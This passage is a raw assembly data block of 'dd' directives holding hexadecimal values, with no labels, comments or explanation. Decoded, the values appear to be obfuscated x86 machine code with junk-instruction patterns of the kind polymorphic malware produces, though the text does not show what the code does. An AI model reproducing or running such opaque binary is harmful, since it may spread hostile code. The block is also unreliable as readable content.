1C04h, 0C3514100h dd 0E387BBD3h, 7448463Bh, 0F8BF0FD1h, 24B1BD8Bh, 0BF6607FAh dd 858D3993h, 7FA0199h, 11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h dd 44AAB53Ah, 89509DBEh, 95892404h, 7FA1741h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 9A19C9C3h, 0F4E3B2D6h, 6E8AA9Dh, 94000000h, 9F6EF9FCh dd 0E68166C5h, 6A5E7B65h, 0BE900h, 4B850000h, 546A8DCAh dd 87F8CB84h, 0E8858DD6h, 6A07FE1Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0AD49C355h dd 6605C083h, 50831BBFh, 489F28Bh, 6860F24h, 8B000000h dd 0FA0EA9B5h, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 850CC357h, 1CB9BD8Bh dd 0B58B07FAh, 7FA103Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0F75A98C3h, 0F37CC71Fh dd 94EF8140h, 8902BB2Fh, 0FA011985h, 0E995FF07h, 6A07FA2Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0C101C353h, 8DFEBF0Fh, 0FDD7119Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0DCDAAED5h, 0FF6B20F3h, 0C4D781D3h, 0FF0DBFC7h, 0FA104985h dd 6870F07h, 29000000h, 0FA0219BDh, 7B3E907h, 0E80000h dd 5D000000h, 1AF2ED81h, 6A07FEh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 41CB3BC3h, 0DF813874h dd 63AB7862h, 719BD81h, 7D007FAh, 860F0000h, 115h, 0B319D09h dd 5E807FAh, 0CF000000h, 0AF3F7B72h, 0F19D8B5Fh, 6A07FA2Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 3EFAC352h, 0ADAE3E24h, 0E381D3h, 8B000001h dd 0FA0AE5BDh, 800F6007h, 6, 1B40C781h, 66600332h, 0B58BFB8Bh dd 7FA1C29h, 0DB0B6161h, 8D850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CBFFF1C3h dd 0BC8B0F35h, 791BD8Bh, 0BD8B07FAh, 7FA15C9h, 116DB58Bh dd 0BD8307FAh, 7FE1944h, 2E840F00h, 0E9000000h, 57h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 88C35141h, 8EDA70B5h dd 8BDC4205h, 0FA1E65B5h, 4485C707h, 107FE19h, 0F000000h dd 0B589F3B7h, 7FA2441h, 16E9h, 91B58B00h, 0C707FA00h dd 0FE194485h, 7, 0CD8D8900h, 8D07FA17h, 0FA2EF19Dh, 0FF238107h dd 8BFFFFFEh, 0FA0009B5h, 0DB8C6607h, 0B4D9531h, 0C3F607FAh dd 7E840F04h, 29000000h, 0FA24C595h, 0A595FF07h, 6A07FA10h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0ABD9C356h, 0E850D583h, 13h, 3972F59Ah, 0FED82102h dd 6B708C20h, 0D5F6F2C3h, 503297CAh, 0E8310F52h, 6, 0AFDA7364h dd 5A5E3FDBh, 4895F58h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0F1E8A44Fh, 730BE397h dd 390E953h, 0EE810000h, 482EEC90h, 0FA8B00B0h, 71E470E6h dd 467213BEh, 0D8B60F27h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0FFC35343h, 0ABD99F92h, 6BAD583h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0E8B6C355h, 8BC38B43h, 0FA2601BDh, 4E8C107h dd 11E9h, 0D68A0B00h, 0D5A0DB22h, 0ABDB4BD4h, 493E19F5h dd 0BD89D2CCh, 7FA3105h, 0BFE2F766h, 5701BCF6h, 1565BD89h dd 0D82B07FAh, 6F1BD8Bh, 8B5007FAh, 241C89F3h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 71C35141h, 191027F5h dd 4A9158C3h, 719B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0C5DC34C3h, 0E8DC6972h dd 14A1BD8Bh, 95FF07FAh, 7FA1019h, 5E9h, 24AA1500h, 0B054EAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DEC35646h dd 0CDB5294Dh, 0F07FA1Ch, 70E6FEBFh, 8E8h, 8628DD00h, 0B0EC7376h dd 29BD8B12h, 5E07FA0Eh, 816671E4h, 3C625AE6h, 43830F61h dd 6A000002h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 4281C352h, 0F763400h, 6AD8B6h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0B7D4B1C3h, 6BAh, 15858900h, 8B07FA10h, 51006AC3h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0C1850523h, 8F0F04E8h, 0 dd 66E2F766h, 2ACBEE81h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 3DCC42C3h, 1EEEB8EDh dd 8B0F8385h, 0FA1D6DB5h, 6A5807h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 5D1B2C3h, 6819D89h, 0D82B07FAh dd 16C880Fh, 7B90000h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 41B3C353h dd 4163238Ch, 663640DCh, 832F1BBFh, 0F98B00C1h, 860FD93Bh dd 132h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 45C35343h, 8C660D48h, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F625925Dh dd 840F04C1h, 0E6h, 22EE8166h, 6E982h, 0EBD50000h, 32A5F084h dd 10A595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 346AEDC3h, 1DB4AC10h, 51BD8B19h dd 5B07FA2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0C6C35343h, 99221C35h, 69BD8BFFh, 8107FA25h, 590E2DDEh dd 0E8C32B79h, 0Dh, 750553D1h, 3F9DD382h, 167A5511h, 5952924h dd 5E07FA34h, 8343Dh, 53860F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0E132C357h dd 8629D4A3h, 89F38BA5h, 0FA2E7D85h, 28E907h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7ACF98C3h, 22E7F1D8h, 0C08B2342h, 0C38BF08Bh, 6AD88Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0D15D0DC3h, 8166B13Eh, 0C7A6B8F6h, 0FA0DA585h, 1FD97507h dd 69BD8B77h, 8B07FA20h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 6493F3BDh, 932C795h, 0FA1CBD95h dd 0E7EE8107h, 812EB708h, 0FA0719BDh, 7D007h, 29850F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 3E7EC356h, 1985FF40h, 0BE07FA07h dd 7B9196E9h, 719B5FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 831238C3h, 0B95B6032h dd 8B1E30AAh, 0FA1131B5h, 2DBD8907h, 0FF07FA0Dh, 0FA101995h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 8AD7B348h, 12E890h, 0C44C0000h, 226F139Ah dd 620DBD7Ah, 83A65B47h, 0F65802E6h, 6663F781h, 5EF5546Bh dd 7BD78166h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 89AF5AA0h, 0FA0B1985h, 6830F07h dd 8B000000h, 0FA0D4DBDh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 91BD895Fh dd 0F07FA1Dh, 0CE9FBB7h, 8E000000h, 0BC6AA5D8h, 0D0AAD96Ch dd 814DD75Ch, 0BDE1F5F6h, 4DBD8B4Eh, 8B07FA10h, 0FA352DBDh dd 0F9BD8B07h, 6A07FA0Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0AD71C351h, 0EB0586Ch dd 660ECE4Dh, 0FCE6BBEh, 68Fh, 0D0E68100h, 6A4AF2A2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0ECF3C355h, 2BA96030h, 6E9EDh, 311F0000h, 0B85AABCAh dd 0FFF87DE9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0FB0775Ch, 0C85h, 0C5BD8900h dd 3107FA11h, 0FA0DBDB5h, 6AC18B07h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 430EC356h dd 5C881676h, 0EB2F9C2Fh, 4, 0F1B70F00h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 0DDC35141h, 0A0F85E52h dd 0F8BF0F08h, 199858Dh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 505EBAC3h, 0AB1A5531h dd 0E860768Ah, 6, 5535E90Bh, 0C88A61C6h, 0C0A5B85Bh, 90616660h dd 5820F51h, 0BE000000h, 2F5378DFh, 2990505Fh, 0FA2DA595h dd 0F08B6607h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 6B026BC3h, 8B006AB5h, 0FA0DE5BDh dd 0CE858D07h, 6A07FE24h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 85C4C356h, 0C9D53FC1h dd 6B26C1FAh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0DE19C356h, 683B7D8Bh dd 71975F9Fh, 0AE9h, 77EE0300h, 924BCD82h, 500AC873h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 5FC2C352h, 0FD135090h, 0CE27BE85h, 6A054Eh dd 0EE8h, 0A36E7500h, 33712E7Bh, 0FC4DFF8h, 0F85979A0h dd 60006A5Eh, 12E957h, 107B0000h, 0DD0F970Dh, 4D70DE3Ch dd 4D371E90h, 0A7C15D7Dh, 8C0F6059h, 0 dd 0FF6161F5h, 0FA2BE995h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F09C4245h dd 11E90Dh, 0FF6B0000h, 9AF4AA85h, 54839CE3h, 15D734FFh dd 8D0AB2C7h, 0FDD7119Dh, 0D3FFF807h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 4C35747h, 0FA8B6626h, 104985FFh dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 253DD4C3h, 7D64FBCBh, 0E933F2AEh, 804h, 0E8h dd 0ED815D00h, 7FE24D8h, 2E5D9589h, 0BD8107FAh, 7FA0719h dd 7D0h, 0F0860Fh, 0F88B0000h, 26199D8Bh, 816607FAh, 812BF3EFh dd 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8529A1E5h, 7FA0B45h, 850FDB0Bh, 71h dd 13EE8166h, 76D78133h, 8368BB3Eh, 0FE22C8BDh, 840F0007h dd 1Eh, 8519D29h, 58E907FAh, 0E9000000h, 0Eh, 86049BAh dd 6F27BAA7h, 0EAD87DD6h, 85C786C0h, 7FE22C8h, 1, 0B25BD89h dd 30E907FAh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0F3AFC353h, 8BDB0685h dd 0FA0549B5h, 0C885C707h, 7FE22h, 8D000000h, 0FA26199Dh dd 0FF238107h, 0FFFFFFEh, 1F89h, 2FBE6000h, 0E8205DA2h dd 12h, 7C5FBEF6h, 0E40604ABh, 0A39AA88h, 2DB9E47Dh, 6159A8B2h dd 16C99529h, 8C6607FAh, 50006ADBh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 2CC1407Dh, 1924844h, 0FA005985h dd 4C3F607h, 59840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 226C6FC3h, 89B2D189h dd 0FA316D8Dh, 11B50907h, 0FF07FA08h, 0FA10A595h, 358D2907h dd 5007FA14h, 11E9h, 0C5398F00h, 8F9E7A0Dh, 0A54C3C8Bh dd 7601A456h, 489A914h, 8DBD3324h, 0E907FA01h, 402h, 799ABE66h dd 0B625BE66h, 0F78100B0h, 4042C94h, 6A70E6h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AE729C3h dd 57375BE6h, 0BD895FF5h, 7FA1051h, 0F18B71E4h, 6AD8B60Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 8EE8C352h, 10E967EBh, 0FF000000h, 9573F525h dd 0A3FCD63Ch, 388A2DC1h, 0BA947AE3h, 6, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 0D9C35646h, 8D29C38Bh dd 7FA0755h, 8B04E8C1h, 0FA2721B5h, 0E2F76607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6CC35141h, 0D82BFCCCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4CC35040h dd 58D0F50h, 0BF000000h, 7EA5445Ch, 0E9241C89h, 12h, 0FF980036h dd 0EBE16AA8h, 93706450h, 0D8D3EF53h, 0B5FFA9F0h, 7FA0719h dd 101995FFh, 0B70F07FAh, 6A00B0F7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CA9FC355h dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0ADA348C3h, 9BDA77B6h, 34B4BF50h, 0B58B66F5h dd 7FA23D1h, 613C71E4h, 28C830Fh, 9D310000h, 7FA0CADh dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0F91FC355h, 361803FFh, 6BA9F65h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 81F9C352h, 0C38BF08Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A2C35646h, 730097A8h dd 0E8C1EDB6h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 9F59AD0Ch, 0BD349D06h dd 6060FF97h, 29CBBF0Fh, 0FA0585BDh, 0B58B6107h, 7FA2EEDh dd 0E2F76661h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0D4C35141h, 2B10C97Bh, 8358353Ah, 0BD3160B0h, 7FA1539h dd 0BE9h, 0E7C7F000h, 84301028h, 0BE4B4927h, 6AD82B61h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 2EF6C352h, 0BE37CE81h, 81523F0Dh, 23AF0DCFh dd 2B585E07h, 67880FD8h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 440CC356h dd 0F5F839A8h, 0BD8960C8h, 7FA3231h, 0AE9h, 82F96800h dd 93F0E22Fh, 61A7BCD3h, 80C941BFh, 7B90Dh, 0B58B0000h dd 7FA08CDh, 6A00C183h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0F46FC350h, 0FAC8C389h dd 0D93B14FAh, 0F0860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E9447AC3h, 0Fh, 5E616961h dd 0C959CFCDh, 0A86AE916h, 6617482Fh, 6AD98Ch, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E69B80C3h, 830FD7AAh, 1Bh, 14E8h, 1BDAF700h, 63F59562h dd 4B3A79F3h, 0CDB8D251h, 314ABDF9h, 0F65EF80Fh, 840F04C1h dd 64h, 20B98D89h, 8D0F07FAh, 6, 2F518D29h, 95FF07FAh dd 7FA10A5h, 5BFABF0Fh, 9E9h, 9C7E200h, 83D80CB2h, 0C32BD130h dd 2B69B58Bh, 343D07FAh, 0F000008h, 2786h, 69BD8900h, 0E907FA27h dd 2Ah, 11850F60h, 0E9000000h, 0Ch, 9EA93D9h, 0EE56AFDFh dd 773A5DECh, 61D7BF0Fh, 800FC08Bh, 6, 1D7D8D89h, 0C38B07FAh dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B52915C3h, 7FA2DC9h, 2EF185C7h, 57B307FAh dd 8B535697h, 0FA0305B5h, 0C08B5E07h, 0E1B58B60h, 0F07FA00h dd 28Fh, 615E5000h, 211DBD8Bh, 0BD8107FAh, 7FA0719h, 7D0h dd 51850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 84B5B4C3h, 2F858529h, 8B6607FAh dd 1985FFF2h, 6A07FA07h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 944EC351h, 1D7F0A73h dd 0FF013762h, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B30DBD2h dd 0FA16E9B5h, 1995FF07h, 8907FA10h, 0FA0AE19Dh, 6A9007h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 60B014C3h, 68B0Fh, 858B0000h, 7FA2535h, 1C5AEF81h, 6A614316h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 406FC351h, 0B78F1C3h, 0BF660636h, 6060D321h dd 8C0Fh, 61F80000h, 2820Fh, 5F500000h, 53006A61h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8F0F60B3h, 15h, 10E9h, 10A5DE00h, 0A9071F37h, 293350F0h dd 0FBB30C7Bh, 0BE61F54Ch, 6325210Ah, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 7EC35545h, 8BF1B4B0h, 6A8FEEh dd 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 66E1FFC3h, 6E96092h dd 0D2000000h, 974C2658h, 2BF98BD4h, 0FA0F59B5h, 6DE96107h dd 6AFFFFF8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 9431C356h, 8A0FA5DCh, 15h, 10E9h dd 0F3C6F700h, 366A9772h, 0C683C607h, 14166A77h, 880F5209h dd 6, 1539BD33h, 665F07FAh, 609DF3BFh, 2099BD29h, 840F07FAh dd 14h, 233D958Bh, 9E907FAh, 29000000h, 0BAC7CDC6h, 8D62A347h dd 61CA8B66h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0B0D9C2C3h, 0A01E2319h, 1C298D89h dd 0BF0F07FAh, 4EBFAh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 91D4C357h dd 32D78166h, 99858D70h, 6A07FA01h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8D10C357h dd 5090C548h, 8F32BE66h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0DF2BF3B5h, 0FF6DBF66h dd 8B66006Ah, 25CBFF1h, 6A2310h, 3515BD8Bh, 858D07FAh dd 7FE2EEFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0F7C35545h, 0C083E4F1h, 9DBD8B05h, 9007FA0Bh, 0C40F76BEh dd 52505077h, 0EE8h, 58BBB600h, 7A743B19h, 2BE7201Fh, 50CC41F3h dd 5A310F52h, 310F5F58h, 3190585Ah, 0FA07C98Dh, 6A006A07h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 39EC357h, 0FA16C9B5h, 6A006A07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0D0E8C351h, 2BE995FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 48352AC3h, 3FE9C51Dh dd 0E93A754Dh, 0Ch, 1FD8B817h, 0A01546BEh, 278E4C0Fh, 0D7119D8Dh dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8B572FC3h, 0FA0D7DBDh, 0B70F5E07h, 6AD3FFFFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A33FC355h, 0BD233FDAh, 7FA1F39h, 1D259D89h dd 0FE8B07FAh, 104985FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 4592BDC3h, 0BFFE9726h dd 7E7843A9h, 87BE9h, 0E800h, 815D0000h, 0FE2EF9EDh, 18C7BE07h dd 0BD810149h, 7FA0719h, 7D0h, 165860Fh, 0B5290000h, 7FA1CB9h dd 0CC59D8Bh, 5E5307FAh, 100E381h, 0B58B0000h, 7FA1BE1h dd 1E49B58Bh, 0DB0B07FAh, 0A6850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 172320C3h dd 33E16C84h, 0FA0525BDh, 6BD8307h, 7FE2Dh, 35840Fh, 89510000h dd 0FA13E5B5h, 9CE95F07h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F5CC353h dd 684h, 0B1858900h, 0C707FA27h, 0FE2D0685h, 107h, 5B9ABE00h dd 60E92731h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0EBA5C355h, 55A565F4h dd 0B58B9836h, 7FA16A9h, 2D0685C7h, 7FEh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 3FB9B6C3h, 0EDFA21Dh, 5063D742h, 2B55B58Bh, 8D5F07FAh dd 0FA0CC59Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 3B931896h, 81D37B16h dd 397EA7CFh, 0FF238103h, 6AFFFFFEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8AF4C350h dd 0DD3D7CF9h, 8BF85E52h, 0FA1F75B5h, 66F88B07h, 0C3F6DB8Ch dd 3E840F04h, 0F000000h, 48Ch, 0D2BF6600h, 0A595FF28h dd 8B07FA10h, 800F90F3h, 1Dh, 7E85250h, 0FF000000h, 0C84DB852h dd 0F5FA254h, 5E931h, 78D60000h, 5A7A0536h, 8B905058h dd 0FA1F59B5h, 42DE907h, 47BF0000h, 0B0616E9Bh, 0BDB53300h dd 6007FA29h, 4850Fh, 0BF660000h, 9E8A68Eh, 5000000h, 398761D0h dd 0F7AF260Dh, 615FEF8Ah, 0BE6070E6h, 1EDE24FFh, 4677E181h dd 0E4617D0Ah, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 2391E3A5h, 0B58B5316h dd 7FA0E29h, 840Fh, 81660000h, 0F4A0ED7h, 6AD8B6h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D7F7AC3h, 81605A1Ch, 0D5A89DE6h, 5D8D8950h, 6107FA23h dd 6BAF78Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0B817C355h, 46BE1FD8h dd 0BD03A015h, 7FA189Dh, 8E8C38Bh, 0C6000000h, 0A2610537h dd 816E94BBh, 394797CEh, 0E8C15E0Bh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F76666B4h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0ED109B9Ah, 0ED95892Dh, 6007FA2Eh, 62D8589h dd 870F07FAh, 5, 7AF68166h, 0D82B61CFh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h, 0F64A5071h dd 0BE71531Dh, 6880Fh, 0B50B0000h, 7FA32D1h, 241C8950h dd 0B9D8D29h, 0B5FF07FAh, 7FA0719h, 5E9h, 0C8C08C00h, 0B58B8571h dd 7FA1DBDh, 101995FFh, 850107FAh, 7FA2F5Dh, 0E6F800B0h dd 53006A70h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 8A0Fh, 71E40000h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DAC35747h dd 7E9h, 0EA0EB700h, 0E913FCA6h, 830F613Ch, 22Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h, 0A4B4B564h dd 2375ACBFh, 0F78B66DAh, 6AD8B60Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8CB7C352h dd 1722D79h, 6890F34h, 8B000000h, 0FA16B5BDh, 6BA07h, 0FC510000h dd 66C38B5Eh, 0E8C1F98Bh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 5B24E14Dh dd 3EF53EADh, 351168Dh, 0FA30B9BDh, 0BF0F5F07h, 0E2F766F3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h dd 702604CBh, 6961DAE5h, 5FF78B52h, 9D89D82Bh, 7FA2601h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0E19872DAh, 71A91689h, 0F88B66B4h, 880FD82Bh dd 133h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0C1C35545h, 0BF0FF591h, 7B9F3h, 0BE660000h, 8B665F20h dd 0C183F9h, 6640EF81h, 0D93B096Bh, 0F5860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 7CF474C3h, 2A9B046Eh, 2971B77Bh, 0FA29ED8Dh, 0A1BD8B07h dd 6607FA11h, 0C1F6D98Ch, 0B3840F04h dd 89000000h, 0FA1659BDh, 9BD8B07h, 0FF07FA2Bh, 0FA10A595h dd 1DBD0B07h, 8107FA18h, 3E5E80C6h, 0BD8B5B5Ah, 7FA34D1h dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 4BAAE2C3h, 89A9FAE1h, 0FA2BA18Dh, 75958907h dd 3D07FA25h, 834h, 54860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0CF86AC3h dd 45F8299Eh, 0ED9D8914h, 0F807FA00h, 2AE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0BFF89367h, 6ABEDBD0h, 0C08BCCA7h, 8BF98B66h, 6AD88BC3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0E2E9C352h, 8DC6E95Ah, 1985C7AEh, 3307FA26h dd 0E91A6341h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh, 6AC08B7Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 8BCEC350h, 0B1B4F00Dh, 8BD681A2h, 817DD783h dd 0FA0719BDh, 7D007h, 30850F00h, 0BF000000h, 57583836h dd 71985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0A1A5A9C3h, 8166EBABh, 0FF6C21DEh dd 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 11F9A9EEh, 87E9FDCFh dd 0BD8B2A71h, 7FA07A5h, 51D989BFh, 1995FF4Ah, 6A07FA10h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 3BAFC350h, 55AD6B2h, 6A9056h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 13E805C3h dd 95000000h, 3A4436A9h, 1B086468h, 57171CB8h, 0D452E3D0h dd 0B58918DEh, 7FA0005h, 39B5895Fh, 8B07FA1Fh, 0FA15B1B5h dd 3D78107h, 81658525h, 0BBA12DD7h, 57006A4Bh, 3E8h, 0C35F2000h dd 